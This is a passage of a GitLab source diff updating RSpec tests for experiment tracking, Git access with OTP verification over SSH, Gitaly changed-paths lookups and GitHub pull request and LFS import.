+ let(:context) { { a: 42 } }
context 'when the experiment is enabled' do
before do
@@ -339,27 +402,25 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
context 'the user is part of the experimental group' do
before do
- stub_experiment_for_user(test_experiment: true)
+ stub_experiment_for_subject(test_experiment: true)
end
it 'calls add_user on the Experiment model' do
- expect(::Experiment).to receive(:add_user).with(:test_experiment, :experimental, user)
+ expect(::Experiment).to receive(:add_user).with(:test_experiment, :experimental, user, context)
- controller.record_experiment_user(:test_experiment)
+ controller.record_experiment_user(:test_experiment, context)
end
end
context 'the user is part of the control group' do
before do
- allow_next_instance_of(described_class) do |instance|
- allow(instance).to receive(:experiment_enabled?).with(:test_experiment).and_return(false)
- end
+ stub_experiment_for_subject(test_experiment: false)
end
it 'calls add_user on the Experiment model' do
- expect(::Experiment).to receive(:add_user).with(:test_experiment, :control, user)
+ expect(::Experiment).to receive(:add_user).with(:test_experiment, :control, user, context)
- controller.record_experiment_user(:test_experiment)
+ controller.record_experiment_user(:test_experiment, context)
end
end
end
@@ -373,7 +434,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
it 'does not call add_user on the Experiment model' do
expect(::Experiment).not_to receive(:add_user)
- controller.record_experiment_user(:test_experiment)
+ controller.record_experiment_user(:test_experiment, context)
end
end
@@ -385,27 +446,26 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
it 'does not call add_user on the Experiment model' do
expect(::Experiment).not_to receive(:add_user)
- controller.record_experiment_user(:test_experiment)
+ controller.record_experiment_user(:test_experiment, context)
end
end
context 'do not track' do
before do
+ stub_experiment(test_experiment: true)
allow(controller).to receive(:current_user).and_return(user)
- allow_next_instance_of(described_class) do |instance|
- allow(instance).to receive(:experiment_enabled?).with(:test_experiment).and_return(false)
- end
end
context 'is disabled' do
before do
request.headers['DNT'] = '0'
+ stub_experiment_for_subject(test_experiment: false)
end
it 'calls add_user on the Experiment model' do
- expect(::Experiment).to receive(:add_user).with(:test_experiment, :control, user)
+ expect(::Experiment).to receive(:add_user).with(:test_experiment, :control, user, context)
- controller.record_experiment_user(:test_experiment)
+ controller.record_experiment_user(:test_experiment, context)
end
end
@@ -417,12 +477,62 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
it 'does not call add_user on the Experiment model' do
expect(::Experiment).not_to receive(:add_user)
- controller.record_experiment_user(:test_experiment)
+ controller.record_experiment_user(:test_experiment, context)
end
end
end
end
+ describe '#record_experiment_conversion_event' do
+ let(:user) { build(:user) }
+
+ before do
+ allow(controller).to receive(:dnt_enabled?).and_return(false)
+ allow(controller).to receive(:current_user).and_return(user)
+ stub_experiment(test_experiment: true)
+ end
+
+ subject(:record_conversion_event) do
+ controller.record_experiment_conversion_event(:test_experiment)
+ end
+
+ it 'records the conversion event for the experiment & user' do
+ expect(::Experiment).to receive(:record_conversion_event).with(:test_experiment, user)
+ record_conversion_event
+ end
+
+ shared_examples 'does not record the conversion event' do
+ it 'does not record the conversion event' do
+ expect(::Experiment).not_to receive(:record_conversion_event)
+ record_conversion_event
+ end
+ end
+
+ context 'when DNT is enabled' do
+ before do
+ allow(controller).to receive(:dnt_enabled?).and_return(true)
+ end
+
+ include_examples 'does not record the conversion event'
+ end
+
+ context 'when there is no current user' do
+ before do
+ allow(controller).to receive(:current_user).and_return(nil)
+ end
+
+ include_examples 'does not record the conversion event'
+ end
+
+ context 'when the experiment is not enabled' do
+ before do
+ stub_experiment(test_experiment: false)
+ end
+
+ include_examples 'does not record the conversion event'
+ end
+ end
+
describe '#experiment_tracking_category_and_group' do
let_it_be(:experiment_key) { :test_something }
@@ -430,7 +540,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
it 'returns a string with the experiment tracking category & group joined with a ":"' do
expect(controller).to receive(:tracking_category).with(experiment_key).and_return('Experiment::Category')
- expect(controller).to receive(:tracking_group).with(experiment_key, '_group').and_return('experimental_group')
+ expect(controller).to receive(:tracking_group).with(experiment_key, '_group', subject: nil).and_return('experimental_group')
expect(subject).to eq('Experiment::Category:experimental_group')
end
diff --git a/spec/lib/gitlab/experimentation/experiment_spec.rb b/spec/lib/gitlab/experimentation/experiment_spec.rb
new file mode 100644
index 00000000000..7b1d1763010
--- /dev/null
+++ b/spec/lib/gitlab/experimentation/experiment_spec.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Experimentation::Experiment do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:percentage) { 50 }
+ let(:params) do
+ {
+ tracking_category: 'Category1',
+ use_backwards_compatible_subject_index: true
+ }
+ end
+
+ before do
+ feature = double('FeatureFlag', percentage_of_time_value: percentage )
+ expect(Feature).to receive(:get).with(:experiment_key_experiment_percentage).and_return(feature)
+ end
+
+ subject(:experiment) { described_class.new(:experiment_key, **params) }
+
+ describe '#active?' do
+ before do
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return(on_gitlab_com)
+ end
+
+ subject { experiment.active? }
+
+ where(:on_gitlab_com, :percentage, :is_active) do
+ true | 0 | false
+ true | 10 | true
+ false | 0 | false
+ false | 10 | false
+ end
+
+ with_them do
+ it { is_expected.to eq(is_active) }
+ end
+ end
+
+ describe '#enabled_for_index?' do
+ subject { experiment.enabled_for_index?(index) }
+
+ where(:index, :percentage, :is_enabled) do
+ 50 | 40 | false
+ 40 | 50 | true
+ nil | 50 | false
+ end
+
+ with_them do
+ it { is_expected.to eq(is_enabled) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/experimentation_spec.rb b/spec/lib/gitlab/experimentation_spec.rb
index ebf98a0151f..a68c050d829 100644
--- a/spec/lib/gitlab/experimentation_spec.rb
+++ b/spec/lib/gitlab/experimentation_spec.rb
@@ -13,11 +13,8 @@ RSpec.describe Gitlab::Experimentation::EXPERIMENTS do
:invite_members_version_a,
:invite_members_version_b,
:invite_members_empty_group_version_a,
- :new_create_project_ui,
:contact_sales_btn_in_app,
:customize_homepage,
- :invite_email,
- :invitation_reminders,
:group_only_trials,
:default_to_issues_board
]
@@ -29,127 +26,150 @@ RSpec.describe Gitlab::Experimentation::EXPERIMENTS do
end
end
-RSpec.describe Gitlab::Experimentation, :snowplow do
+RSpec.describe Gitlab::Experimentation do
before do
stub_const('Gitlab::Experimentation::EXPERIMENTS', {
backwards_compatible_test_experiment: {
- environment: environment,
tracking_category: 'Team',
use_backwards_compatible_subject_index: true
},
test_experiment: {
- environment: environment,
tracking_category: 'Team'
}
})
Feature.enable_percentage_of_time(:backwards_compatible_test_experiment_experiment_percentage, enabled_percentage)
Feature.enable_percentage_of_time(:test_experiment_experiment_percentage, enabled_percentage)
+ allow(Gitlab).to receive(:com?).and_return(true)
end
- let(:environment) { Rails.env.test? }
let(:enabled_percentage) { 10 }
- describe '.enabled?' do
- subject { described_class.enabled?(:test_experiment) }
+ describe '.get_experiment' do
+ subject { described_class.get_experiment(:test_experiment) }
- context 'feature toggle is enabled, we are on the right environment and we are selected' do
- it { is_expected.to be_truthy }
+ context 'returns experiment' do
+ it { is_expected.to be_instance_of(Gitlab::Experimentation::Experiment) }
+ end
+
+ context 'experiment is not defined' do
+ subject { described_class.get_experiment(:missing_experiment) }
+
+ it { is_expected.to be_nil }
+ end
+ end
+
+ describe '.active?' do
+ subject { described_class.active?(:test_experiment) }
+
+ context 'feature toggle is enabled' do
+ it { is_expected.to eq(true) }
end
describe 'experiment is not defined' do
it 'returns false' do
- expect(described_class.enabled?(:missing_experiment)).to be_falsey
+ expect(described_class.active?(:missing_experiment)).to eq(false)
end
end
describe 'experiment is disabled' do
let(:enabled_percentage) { 0 }
- it { is_expected.to be_falsey }
+ it { is_expected.to eq(false) }
end
+ end
- describe 'we are on the wrong environment' do
- let(:environment) { ::Gitlab.com? }
+ describe '.in_experiment_group?' do
+ context 'with new index calculation' do
+ let(:enabled_percentage) { 50 }
+ let(:experiment_subject) { 'z' } # Zlib.crc32('test_experimentz') % 100 = 33
- it { is_expected.to be_falsey }
+ subject { described_class.in_experiment_group?(:test_experiment, subject: experiment_subject) }
- it 'ensures the typically less expensive environment is checked before the more expensive call to database for Feature' do
- expect_next_instance_of(described_class::Experiment) do |experiment|
- expect(experiment).not_to receive(:enabled?)
+ context 'when experiment is active' do
+ context 'when subject is part of the experiment' do
+ it { is_expected.to eq(true) }
end
- subject
- end
- end
- end
+ context 'when subject is not part of the experiment' do
+ let(:experiment_subject) { 'a' } # Zlib.crc32('test_experimenta') % 100 = 61
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when subject has a global_id' do
+ let(:experiment_subject) { double(:subject, to_global_id: 'z') }
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when subject is nil' do
+ let(:experiment_subject) { nil }
- describe '.enabled_for_value?' do
- subject { described_class.enabled_for_value?(:test_experiment, experimentation_subject_index) }
+ it { is_expected.to eq(false) }
+ end
- let(:experimentation_subject_index) { 9 }
+ context 'when subject is an empty string' do
+ let(:experiment_subject) { '' }
- context 'experiment is disabled' do
- before do
- allow(described_class).to receive(:enabled?).and_return(false)
+ it { is_expected.to eq(false) }
+ end
end
- it { is_expected.to be_falsey }
- end
+ context 'when experiment is not active' do
+ before do
+ allow(described_class).to receive(:active?).and_return(false)
+ end
- context 'experiment is enabled' do
- before do
- allow(described_class).to receive(:enabled?).and_return(true)
+ it { is_expected.to eq(false) }
end
+ end
- it { is_expected.to be_truthy }
+ context 'with backwards compatible index calculation' do
+ let(:experiment_subject) { 'abcd' } # Digest::SHA1.hexdigest('abcd').hex % 100 = 7
- describe 'experimentation_subject_index' do
- context 'experimentation_subject_index is not set' do
- let(:experimentation_subject_index) { nil }
+ subject { described_class.in_experiment_group?(:backwards_compatible_test_experiment, subject: experiment_subject) }
- it { is_expected.to be_falsey }
+ context 'when experiment is active' do
+ before do
+ allow(described_class).to receive(:active?).and_return(true)
end
- context 'experimentation_subject_index is an empty string' do
- let(:experimentation_subject_index) { '' }
-
- it { is_expected.to be_falsey }
+ context 'when subject is part of the experiment' do
+ it { is_expected.to eq(true) }
end
- context 'experimentation_subject_index outside enabled ratio' do
- let(:experimentation_subject_index) { 11 }
+ context 'when subject is not part of the experiment' do
+ let(:experiment_subject) { 'abc' } # Digest::SHA1.hexdigest('abc').hex % 100 = 17
- it { is_expected.to be_falsey }
+ it { is_expected.to eq(false) }
end
- end
- end
- end
- describe '.enabled_for_attribute?' do
- subject { described_class.enabled_for_attribute?(:test_experiment, attribute) }
+ context 'when subject has a global_id' do
+ let(:experiment_subject) { double(:subject, to_global_id: 'abcd') }
- let(:attribute) { 'abcd' } # Digest::SHA1.hexdigest('abcd').hex % 100 = 7
+ it { is_expected.to eq(true) }
+ end
- context 'experiment is disabled' do
- before do
- allow(described_class).to receive(:enabled?).and_return(false)
- end
+ context 'when subject is nil' do
+ let(:experiment_subject) { nil }
- it { is_expected.to be false }
- end
+ it { is_expected.to eq(false) }
+ end
- context 'experiment is enabled' do
- before do
- allow(described_class).to receive(:enabled?).and_return(true)
- end
+ context 'when subject is an empty string' do
+ let(:experiment_subject) { '' }
- it { is_expected.to be true }
+ it { is_expected.to eq(false) }
+ end
+ end
- context 'outside enabled ratio' do
- let(:attribute) { 'abc' } # Digest::SHA1.hexdigest('abc').hex % 100 = 17
+ context 'when experiment is not active' do
+ before do
+ allow(described_class).to receive(:active?).and_return(false)
+ end
- it { is_expected.to be false }
+ it { is_expected.to eq(false) }
end
end
end
diff --git a/spec/lib/gitlab/git/repository_spec.rb b/spec/lib/gitlab/git/repository_spec.rb
index 6dfa791f70b..c917945499c 100644
--- a/spec/lib/gitlab/git/repository_spec.rb
+++ b/spec/lib/gitlab/git/repository_spec.rb
@@ -929,7 +929,7 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
end
context 'with max_count' do
- it 'returns the number of commits with path ' do
+ it 'returns the number of commits with path' do
options = { ref: 'master', max_count: 5 }
expect(repository.count_commits(options)).to eq(5)
@@ -937,7 +937,7 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
end
context 'with path' do
- it 'returns the number of commits with path ' do
+ it 'returns the number of commits with path' do
options = { ref: 'master', path: 'encoding' }
expect(repository.count_commits(options)).to eq(2)
@@ -965,7 +965,7 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
end
context 'with max_count' do
- it 'returns the number of commits with path ' do
+ it 'returns the number of commits with path' do
options = { from: 'fix-mode', to: 'fix-blob-path', left_right: true, max_count: 1 }
expect(repository.count_commits(options)).to eq([1, 1])
@@ -1185,6 +1185,66 @@ RSpec.describe Gitlab::Git::Repository, :seed_helper do
end
end
+ describe '#find_changed_paths' do
+ let(:commit_1) { 'fa1b1e6c004a68b7d8763b86455da9e6b23e36d6' }
+ let(:commit_2) { '4b4918a572fa86f9771e5ba40fbd48e1eb03e2c6' }
+ let(:commit_3) { '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9' }
+ let(:commit_1_files) do
+ [
+ OpenStruct.new(status: :ADDED, path: "files/executables/ls"),
+ OpenStruct.new(status: :ADDED, path: "files/executables/touch"),
+ OpenStruct.new(status: :ADDED, path: "files/links/regex.rb"),
+ OpenStruct.new(status: :ADDED, path: "files/links/ruby-style-guide.md"),
+ OpenStruct.new(status: :ADDED, path: "files/links/touch"),
+ OpenStruct.new(status: :MODIFIED, path: ".gitmodules"),
+ OpenStruct.new(status: :ADDED, path: "deeper/nested/six"),
+ OpenStruct.new(status: :ADDED, path: "nested/six")
+ ]
+ end
+
+ let(:commit_2_files) do
+ [OpenStruct.new(status: :ADDED, path: "bin/executable")]
+ end
+
+ let(:commit_3_files) do
+ [
+ OpenStruct.new(status: :MODIFIED, path: ".gitmodules"),
+ OpenStruct.new(status: :ADDED, path: "gitlab-shell")
+ ]
+ end
+
+ it 'returns a list of paths' do
+ collection = repository.find_changed_paths([commit_1, commit_2, commit_3])
+
+ expect(collection).to be_a(Enumerable)
+ expect(collection.to_a).to eq(commit_1_files + commit_2_files + commit_3_files)
+ end
+
+ it 'returns no paths when SHAs are invalid' do
+ collection = repository.find_changed_paths(['invalid', commit_1])
+
+ expect(collection).to be_a(Enumerable)
+ expect(collection.to_a).to be_empty
+ end
+
+ it 'returns a list of paths even when containing a blank ref' do
+ collection = repository.find_changed_paths([nil, commit_1])
+
+ expect(collection).to be_a(Enumerable)
+ expect(collection.to_a).to eq(commit_1_files)
+ end
+
+ it 'returns no paths when the commits are nil' do
+ expect_any_instance_of(Gitlab::GitalyClient::CommitService)
+ .not_to receive(:find_changed_paths)
+
+ collection = repository.find_changed_paths([nil, nil])
+
+ expect(collection).to be_a(Enumerable)
+ expect(collection.to_a).to be_empty
+ end
+ end
+
describe "#ls_files" do
let(:master_file_paths) { repository.ls_files("master") }
let(:utf8_file_paths) { repository.ls_files("ls-files-utf8") }
diff --git a/spec/lib/gitlab/git_access_project_spec.rb b/spec/lib/gitlab/git_access_project_spec.rb
index f80915b2be9..953b74cf1a9 100644
--- a/spec/lib/gitlab/git_access_project_spec.rb
+++ b/spec/lib/gitlab/git_access_project_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe Gitlab::GitAccessProject do
let(:actor) { user }
let(:project_path) { project.path }
let(:namespace_path) { project&.namespace&.path }
+ let(:repository_path) { "#{namespace_path}/#{project_path}.git" }
let(:protocol) { 'ssh' }
let(:authentication_abilities) { %i[read_project download_code push_code] }
let(:changes) { Gitlab::GitAccess::ANY }
@@ -17,7 +18,7 @@ RSpec.describe Gitlab::GitAccessProject do
let(:access) do
described_class.new(actor, container, protocol,
authentication_abilities: authentication_abilities,
- repository_path: project_path, namespace_path: namespace_path)
+ repository_path: repository_path)
end
describe '#check_namespace!' do
@@ -103,6 +104,20 @@ RSpec.describe Gitlab::GitAccessProject do
end
end
+ context 'when namespace is blank' do
+ let(:repository_path) { 'project.git' }
+
+ it_behaves_like 'no project is created' do
+ let(:raise_specific_error) { raise_namespace_not_found }
+ end
+ end
+
+ context 'when namespace does not exist' do
+ let(:namespace_path) { 'unknown' }
+
+ it_behaves_like 'no project is created'
+ end
+
context 'when user cannot create project in namespace' do
let(:user2) { create(:user) }
let(:namespace_path) { user2.namespace.path }
diff --git a/spec/lib/gitlab/git_access_spec.rb b/spec/lib/gitlab/git_access_spec.rb
index 21607edbc32..780f4329bcc 100644
--- a/spec/lib/gitlab/git_access_spec.rb
+++ b/spec/lib/gitlab/git_access_spec.rb
@@ -10,8 +10,7 @@ RSpec.describe Gitlab::GitAccess do
let(:actor) { user }
let(:project) { create(:project, :repository) }
- let(:project_path) { project&.path }
- let(:namespace_path) { project&.namespace&.path }
+ let(:repository_path) { "#{project.full_path}.git" }
let(:protocol) { 'ssh' }
let(:authentication_abilities) { %i[read_project download_code push_code] }
let(:redirected_path) { nil }
@@ -210,10 +209,9 @@ RSpec.describe Gitlab::GitAccess do
end
end
- context 'when the project is nil' do
+ context 'when the project does not exist' do
let(:project) { nil }
- let(:project_path) { "new-project" }
- let(:namespace_path) { user.namespace.path }
+ let(:repository_path) { "#{user.namespace.path}/new-project.git" }
it 'blocks push and pull with "not found"' do
aggregate_failures do
@@ -389,6 +387,108 @@ RSpec.describe Gitlab::GitAccess do
end
end
+ describe '#check_otp_session!' do
+ let_it_be(:user) { create(:user, :two_factor_via_otp)}
+ let_it_be(:key) { create(:key, user: user) }
+ let_it_be(:actor) { key }
+
+ before do
+ project.add_developer(user)
+ stub_feature_flags(two_factor_for_cli: true)
+ end
+
+ context 'with an OTP session', :clean_gitlab_redis_shared_state do
+ before do
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set("#{Gitlab::Auth::Otp::SessionEnforcer::OTP_SESSIONS_NAMESPACE}:#{key.id}", true)
+ end
+ end
+
+ it 'allows push and pull access' do
+ aggregate_failures do
+ expect { push_access_check }.not_to raise_error
+ expect { pull_access_check }.not_to raise_error
+ end
+ end
+ end
+
+ context 'without OTP session' do
+ it 'does not allow push or pull access' do
+ user = 'jane.doe'
+ host = 'fridge.ssh'
+ port = 42
+
+ stub_config(
+ gitlab_shell: {
+ ssh_user: user,
+ ssh_host: host,
+ ssh_port: port
+ }
+ )
+
+ error_message = "OTP verification is required to access the repository.\n\n"\
+ " Use: ssh #{user}@#{host} -p #{port} 2fa_verify"
+
+ aggregate_failures do
+ expect { push_access_check }.to raise_forbidden(error_message)
+ expect { pull_access_check }.to raise_forbidden(error_message)
+ end
+ end
+
+ context 'when protocol is HTTP' do
+ let(:protocol) { 'http' }
+
+ it 'allows push and pull access' do
+ aggregate_failures do
+ expect { push_access_check }.not_to raise_error
+ expect { pull_access_check }.not_to raise_error
+ end
+ end
+ end
+
+ context 'when actor is not an SSH key' do
+ let(:deploy_key) { create(:deploy_key, user: user) }
+ let(:actor) { deploy_key }
+
+ before do
+ deploy_key.deploy_keys_projects.create(project: project, can_push: true)
+ end
+
+ it 'allows push and pull access' do
+ aggregate_failures do
+ expect { push_access_check }.not_to raise_error
+ expect { pull_access_check }.not_to raise_error
+ end
+ end
+ end
+
+ context 'when 2FA is not enabled for the user' do
+ let(:user) { create(:user)}
+ let(:actor) { create(:key, user: user) }
+
+ it 'allows push and pull access' do
+ aggregate_failures do
+ expect { push_access_check }.not_to raise_error
+ expect { pull_access_check }.not_to raise_error
+ end
+ end
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(two_factor_for_cli: false)
+ end
+
+ it 'allows push and pull access' do
+ aggregate_failures do
+ expect { push_access_check }.not_to raise_error
+ expect { pull_access_check }.not_to raise_error
+ end
+ end
+ end
+ end
+ end
+
describe '#check_db_accessibility!' do
context 'when in a read-only GitLab instance' do
before do
@@ -452,9 +552,8 @@ RSpec.describe Gitlab::GitAccess do
context 'when project is public' do
let(:public_project) { create(:project, :public, :repository) }
- let(:project_path) { public_project.path }
- let(:namespace_path) { public_project.namespace.path }
- let(:access) { access_class.new(nil, public_project, 'web', authentication_abilities: [:download_code], repository_path: project_path, namespace_path: namespace_path) }
+ let(:repository_path) { "#{public_project.full_path}.git" }
+ let(:access) { access_class.new(nil, public_project, 'web', authentication_abilities: [:download_code], repository_path: repository_path) }
context 'when repository is enabled' do
it 'give access to download code' do
@@ -1169,7 +1268,7 @@ RSpec.describe Gitlab::GitAccess do
def access
access_class.new(actor, project, protocol,
authentication_abilities: authentication_abilities,
- namespace_path: namespace_path, repository_path: project_path,
+ repository_path: repository_path,
redirected_path: redirected_path, auth_result_type: auth_result_type)
end
diff --git a/spec/lib/gitlab/gitaly_client/commit_service_spec.rb b/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
index b09bd9dff1b..157c2393ce1 100644
--- a/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
@@ -145,6 +145,31 @@ RSpec.describe Gitlab::GitalyClient::CommitService do
end
end
+ describe '#find_changed_paths' do
+ let(:commits) { %w[1a0b36b3cdad1d2ee32457c102a8c0b7056fa863 cfe32cf61b73a0d5e9f13e774abde7ff789b1660] }
+
+ it 'sends an RPC request and returns the stats' do
+ request = Gitaly::FindChangedPathsRequest.new(repository: repository_message,
+ commits: commits)
+
+ changed_paths_response = Gitaly::FindChangedPathsResponse.new(
+ paths: [{
+ path: "app/assets/javascripts/boards/components/project_select.vue",
+ status: :MODIFIED
+ }])
+
+ expect_any_instance_of(Gitaly::DiffService::Stub).to receive(:find_changed_paths)
+ .with(request, kind_of(Hash)).and_return([changed_paths_response])
+
+ returned_value = described_class.new(repository).find_changed_paths(commits)
+
+ mapped_returned_value = returned_value.map(&:to_h)
+ mapped_expected_value = changed_paths_response.paths.map(&:to_h)
+
+ expect(mapped_returned_value).to eq(mapped_expected_value)
+ end
+ end
+
describe '#tree_entries' do
let(:path) { '/' }
@@ -357,7 +382,7 @@ RSpec.describe Gitlab::GitalyClient::CommitService do
end
it 'sends an RPC request with the correct payload' do
- expect(client.commits_by_message(query, options)).to match_array(wrap_commits(commits))
+ expect(client.commits_by_message(query, **options)).to match_array(wrap_commits(commits))
end
end
diff --git a/spec/lib/gitlab/gitaly_client_spec.rb b/spec/lib/gitlab/gitaly_client_spec.rb
index 16dd2bbee6d..7fcb11c4dfd 100644
--- a/spec/lib/gitlab/gitaly_client_spec.rb
+++ b/spec/lib/gitlab/gitaly_client_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe Gitlab::GitalyClient do
describe '.filesystem_id_from_disk' do
it 'catches errors' do
[Errno::ENOENT, Errno::EACCES, JSON::ParserError].each do |error|
- allow(File).to receive(:read).with(described_class.storage_metadata_file_path('default')).and_raise(error)
+ stub_file_read(described_class.storage_metadata_file_path('default'), error: error)
expect(described_class.filesystem_id_from_disk('default')).to be_nil
end
diff --git a/spec/lib/gitlab/github_import/client_spec.rb b/spec/lib/gitlab/github_import/client_spec.rb
index bc734644d29..4000e0b2611 100644
--- a/spec/lib/gitlab/github_import/client_spec.rb
+++ b/spec/lib/gitlab/github_import/client_spec.rb
@@ -28,6 +28,17 @@ RSpec.describe Gitlab::GithubImport::Client do
end
end
+ describe '#pull_request_reviews' do
+ it 'returns the pull request reviews' do
+ client = described_class.new('foo')
+
+ expect(client.octokit).to receive(:pull_request_reviews).with('foo/bar', 999)
+ expect(client).to receive(:with_rate_limit).and_yield
+
+ client.pull_request_reviews('foo/bar', 999)
+ end
+ end
+
describe '#repository' do
it 'returns the details of a repository' do
client = described_class.new('foo')
@@ -39,6 +50,17 @@ RSpec.describe Gitlab::GithubImport::Client do
end
end
+ describe '#pull_request' do
+ it 'returns the details of a pull_request' do
+ client = described_class.new('foo')
+
+ expect(client.octokit).to receive(:pull_request).with('foo/bar', 999)
+ expect(client).to receive(:with_rate_limit).and_yield
+
+ client.pull_request('foo/bar', 999)
+ end
+ end
+
describe '#labels' do
it 'returns the labels' do
client = described_class.new('foo')
@@ -478,7 +500,7 @@ RSpec.describe Gitlab::GithubImport::Client do
it 'searches for repositories based on name' do
expected_search_query = 'test in:name is:public,private user:user repo:repo1 repo:repo2 org:org1 org:org2'
- expect(client).to receive(:each_page).with(:search_repositories, expected_search_query)
+ expect(client.octokit).to receive(:search_repositories).with(expected_search_query, {})
client.search_repos_by_name('test')
end
diff --git a/spec/lib/gitlab/github_import/importer/lfs_objects_importer_spec.rb b/spec/lib/gitlab/github_import/importer/lfs_objects_importer_spec.rb
index 6188ba8ec3f..8ee534734f0 100644
--- a/spec/lib/gitlab/github_import/importer/lfs_objects_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/lfs_objects_importer_spec.rb
@@ -49,6 +49,57 @@ RSpec.describe Gitlab::GithubImport::Importer::LfsObjectsImporter do
importer.execute
end
end
+
+ context 'when LFS list download fails' do
+ it 'rescues and logs the known exceptions' do
+ exception = StandardError.new('Invalid Project URL')
+ importer = described_class.new(project, client, parallel: false)
+
+ expect_next_instance_of(Projects::LfsPointers::LfsObjectDownloadListService) do |service|
+ expect(service)
+ .to receive(:execute)
+ .and_raise(exception)
+ end
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:error)
+ .with(
+ message: 'importer failed',
+ import_source: :github,
+ project_id: project.id,
+ parallel: false,
+ importer: 'Gitlab::GithubImport::Importer::LfsObjectImporter',
+ 'error.message': 'Invalid Project URL'
+ )
+ end
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .with(
+ exception,
+ import_source: :github,
+ parallel: false,
+ project_id: project.id,
+ importer: 'Gitlab::GithubImport::Importer::LfsObjectImporter'
+ ).and_call_original
+
+ importer.execute
+ end
+
+ it 'raises and logs the unknown exceptions' do
+ exception = Exception.new('Really bad news')
+ importer = described_class.new(project, client, parallel: false)
+
+ expect_next_instance_of(Projects::LfsPointers::LfsObjectDownloadListService) do |service|
+ expect(service)
+ .to receive(:execute)
+ .and_raise(exception)
+ end
+
+ expect { importer.execute }.to raise_error(exception)
+ end
+ end
end
describe '#sequential_import' do
@@ -56,18 +107,16 @@ RSpec.describe Gitlab::GithubImport::Importer::LfsObjectsImporter do
importer = described_class.new(project, client, parallel: false)
lfs_object_importer = double(:lfs_object_importer)
- allow(importer)
- .to receive(:each_object_to_import)
- .and_yield(lfs_download_object)
+ expect_next_instance_of(Projects::LfsPointers::LfsObjectDownloadListService) do |service|
+ expect(service).to receive(:execute).and_return([lfs_download_object])
+ end
expect(Gitlab::GithubImport::Importer::LfsObjectImporter)
- .to receive(:new)
- .with(
+ .to receive(:new).with(
an_instance_of(Gitlab::GithubImport::Representation::LfsObject),
project,
client
- )
- .and_return(lfs_object_importer)
+ ).and_return(lfs_object_importer)
expect(lfs_object_importer).to receive(:execute)
@@ -79,9 +128,9 @@ RSpec.describe Gitlab::GithubImport::Importer::LfsObjectsImporter do
it 'imports each lfs object in parallel' do
importer = described_class.new(project, client)
- allow(importer)
- .to receive(:each_object_to_import)
- .and_yield(lfs_download_object)
+ expect_next_instance_of(Projects::LfsPointers::LfsObjectDownloadListService) do |service|
+ expect(service).to receive(:execute).and_return([lfs_download_object])
+ end
expect(Gitlab::GithubImport::ImportLfsObjectWorker)
.to receive(:perform_async)
diff --git a/spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb
index 46850618945..c7388314253 100644
--- a/spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestImporter, :clean_gitla
describe '#execute' do
it 'imports the pull request' do
- mr = double(:merge_request, id: 10)
+ mr = double(:merge_request, id: 10, merged?: false)
expect(importer)
.to receive(:create_merge_request)
diff --git a/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb
new file mode 100644
index 00000000000..2999dc5bb41
--- /dev/null
+++ b/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::Importer::PullRequestMergedByImporter, :clean_gitlab_redis_cache do
+ let_it_be(:merge_request) { create(:merged_merge_request) }
+ let(:project) { merge_request.project }
+ let(:created_at) { Time.new(2017, 1, 1, 12, 00).utc }
+ let(:client_double) { double(user: double(id: 999, login: 'merger', email: 'merger@email.com')) }
+
+ let(:pull_request) do
+ instance_double(
+ Gitlab::GithubImport::Representation::PullRequest,
+ iid: merge_request.iid,
+ created_at: created_at,
+ merged_by: double(id: 999, login: 'merger')
+ )
+ end
+
+ subject { described_class.new(pull_request, project, client_double) }
+
+ it 'assigns the merged by user when mapped' do
+ merge_user = create(:user, email: 'merger@email.com')
+
+ subject.execute
+
+ expect(merge_request.metrics.reload.merged_by).to eq(merge_user)
+ end
+
+ it 'adds a note referencing the merger user when the user cannot be mapped' do
+ expect { subject.execute }
+ .to change(Note, :count).by(1)
+ .and not_change(merge_request, :updated_at)
+
+ last_note = merge_request.notes.last
+
+ expect(last_note.note).to eq("*Merged by: merger*")
+ expect(last_note.created_at).to eq(created_at)
+ expect(last_note.author).to eq(project.creator)
+ end
+end
diff --git a/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb
new file mode 100644
index 00000000000..b2f993ac47c
--- /dev/null
+++ b/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb
@@ -0,0 +1,202 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
